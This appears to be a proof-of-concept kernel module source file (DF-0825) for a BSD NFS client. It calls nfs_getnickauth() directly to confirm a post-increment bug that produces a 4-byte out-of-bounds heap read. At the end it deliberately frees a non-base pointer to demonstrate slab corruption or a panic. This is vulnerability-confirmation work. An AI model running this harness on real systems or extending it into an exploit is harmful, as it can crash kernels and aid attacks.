DF-0825 / df0825_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 | /* * DF-0825 harness โ kernel module that calls nfs_getnickauth() directly * to prove the post-increment bug at nfs_syscalls.c:1115-1119. * * Bug: *nickp++ advances nickp to P+4, then *auth_str=(char*)nickp * returns P+4 instead of the allocation base P. * Consequences: * - nfsm_rpchead bcopy(auth_len=8 from P+4) reads 4 bytes OOB heap * - nfs_request kfree(auth_str==P+4) frees non-base pointer * * This module sets up a minimal fake nfsmount + nickname entry and * calls the REAL nfs_getnickauth (kernel symbol 0xffffffff80809570), * then inspects where auth_str actually points. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/module.h> #include <sys/proc.h> #include <sys/socket.h> #include <sys/socketvar.h> #include <sys/mbuf.h> #include <sys/mount.h> #include <sys/vnode.h> #include <vfs/nfs/xdr_subs.h> #include <vfs/nfs/rpcv2.h> #include <vfs/nfs/nfsproto.h> #include <vfs/nfs/nfs.h> #include <vfs/nfs/nfsm_subs.h> #include <vfs/nfs/nfsmount.h> static char verfbuf[RPCX_NICKVERF + 16]; static int df0825_harness_modevent(module_t mod, int type, void *data) { struct nfsmount *nmp; struct nfsuid *nuidp; struct ucred *cred; char *auth_str; int auth_len; int error; u_int32_t *p; u_int32_t test_nickname; int i; switch (type) { case MOD_LOAD: break; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } kprintf("DF-0825: harness start\n"); /* Allocate and zero a fake nfsmount โ big enough for the struct. */ nmp = kmalloc(sizeof(struct nfsmount), M_TEMP, M_WAITOK | M_ZERO); if (nmp == NULL) { kprintf("DF-0825: FAIL kmalloc nfsmount\n"); return ENOMEM; } TAILQ_INIT(&nmp->nm_uidlruhead); /* Create a nickname entry for uid 1001. */ nuidp = kmalloc(sizeof(struct nfsuid), M_TEMP, M_WAITOK | M_ZERO); if (nuidp == NULL) { kfree(nmp, M_TEMP); kprintf("DF-0825: FAIL kmalloc nfsuid\n"); return ENOMEM; } test_nickname = 0xDEADBEEF; nuidp->nu_cr.cr_uid = 1001; nuidp->nu_nickname = test_nickname; nuidp->nu_expire = time_uptime + 3600; /* not expired */ /* Insert into the uid hash bucket for uid 1001. */ LIST_INSERT_HEAD(NMUIDHASH(nmp, 1001), nuidp, nu_hash); TAILQ_INSERT_TAIL(&nmp->nm_uidlruhead, nuidp, nu_lru); /* Build a credential for uid 1001. */ cred = crget(); cred->cr_uid = 1001; /* Prepare verifier buffer. */ memset(verfbuf, 0xAA, sizeof(verfbuf)); kprintf("DF-0825: calling nfs_getnickauth(nmp, cred uid=%d, ...)\n", cred->cr_uid); kprintf("DF-0825: nickname planted = 0x%08x\n", test_nickname); kprintf("DF-0825: RPCAKN_NICKNAME = %d, txdr = 0x%08x\n", RPCAKN_NICKNAME, txdr_unsigned(RPCAKN_NICKNAME)); auth_str = NULL; auth_len = 0; error = nfs_getnickauth(nmp, cred, &auth_str, &auth_len, verfbuf, RPCX_NICKVERF); kprintf("DF-0825: nfs_getnickauth returned error=%d\n", error); kprintf("DF-0825: auth_str = %p, auth_len = %d\n", (void *)auth_str, auth_len); if (error != 0 || auth_str == NULL) { kprintf("DF-0825: FAIL โ nfs_getnickauth did not succeed\n"); goto cleanup; } /* * The CORRECT result: auth_str[0..3] = txdr_unsigned(RPCAKN_NICKNAME) * auth_str[4..7] = txdr_unsigned(nickname) * The BUGGY result: auth_str[0..3] = txdr_unsigned(nickname) * auth_str[4..7] = 4 bytes OOB past allocation */ p = (u_int32_t *)(void *)auth_str; kprintf("DF-0825: auth_str[0..3] = 0x%08x\n", ntohl(p[0])); kprintf("DF-0825: auth_str[4..7] = 0x%08x (<= OOB heap if bug present)\n", ntohl(p[1])); kprintf("DF-0825: expected[0..3] = 0x%08x (RPCAKN_NICKNAME)\n", RPCAKN_NICKNAME); kprintf("DF-0825: expected[4..7] = 0x%08x (nickname)\n", test_nickname); /* Dump raw 16 bytes at auth_str for visual inspection. */ kprintf("DF-0825: raw bytes at auth_str:"); { unsigned char *c = (unsigned char *)auth_str; for (i = 0; i < 16; i++) { if ((i % 4) == 0) kprintf(" "); kprintf("%02x", c[i]); } } kprintf("\n"); if (ntohl(p[0]) == test_nickname) { kprintf("DF-0825: *** BUG CONFIRMED ***\n"); kprintf("DF-0825: auth_str[0] = nickname 0x%08x, NOT RPCAKN_NICKNAME\n", test_nickname); kprintf("DF-0825: => auth_str points 4 bytes past allocation base\n"); kprintf("DF-0825: => auth_str[4..7] = 0x%08x is OOB heap read\n", ntohl(p[1])); kprintf("DF-0825: => caller kfree(auth_str) frees non-base ptr => slab corruption\n"); } else if (ntohl(p[0]) == RPCAKN_NICKNAME) { kprintf("DF-0825: OK โ auth_str points at allocation base (bug fixed)\n"); } else { kprintf("DF-0825: UNEXPECTED auth_str[0] = 0x%08x\n", ntohl(p[0])); } /* * Demonstrate the kfree-of-non-base-pointer consequence. * Under INVARIANTS (GENERIC default), kfree(P+4) trips the slab * allocator's chunk-alignment assertion and panics. * We do this LAST so all diagnostic output is captured first. */ kprintf("DF-0825: now calling kfree(auth_str) to demonstrate slab corruption...\n"); kfree(auth_str, M_TEMP); kprintf("DF-0825: kfree returned (no panic => INVARIANTS may be off or slab was lucky)\n"); cleanup: crfree(cred); LIST_REMOVE(nuidp, nu_hash); TAILQ_REMOVE(&nmp->nm_uidlruhead, nuidp, nu_lru); kfree(nuidp, M_TEMP); kfree(nmp, M_TEMP); kprintf("DF-0825: harness done\n"); return 0; } static moduledata_t df0825_mod = { "df0825_harness", df0825_harness_modevent, NULL }; DECLARE_MODULE(df0825_harness, df0825_mod, SI_SUB_PROTO_END, SI_ORDER_ANY); MODULE_DEPEND(df0825_harness, nfs, 1, 1, 1); |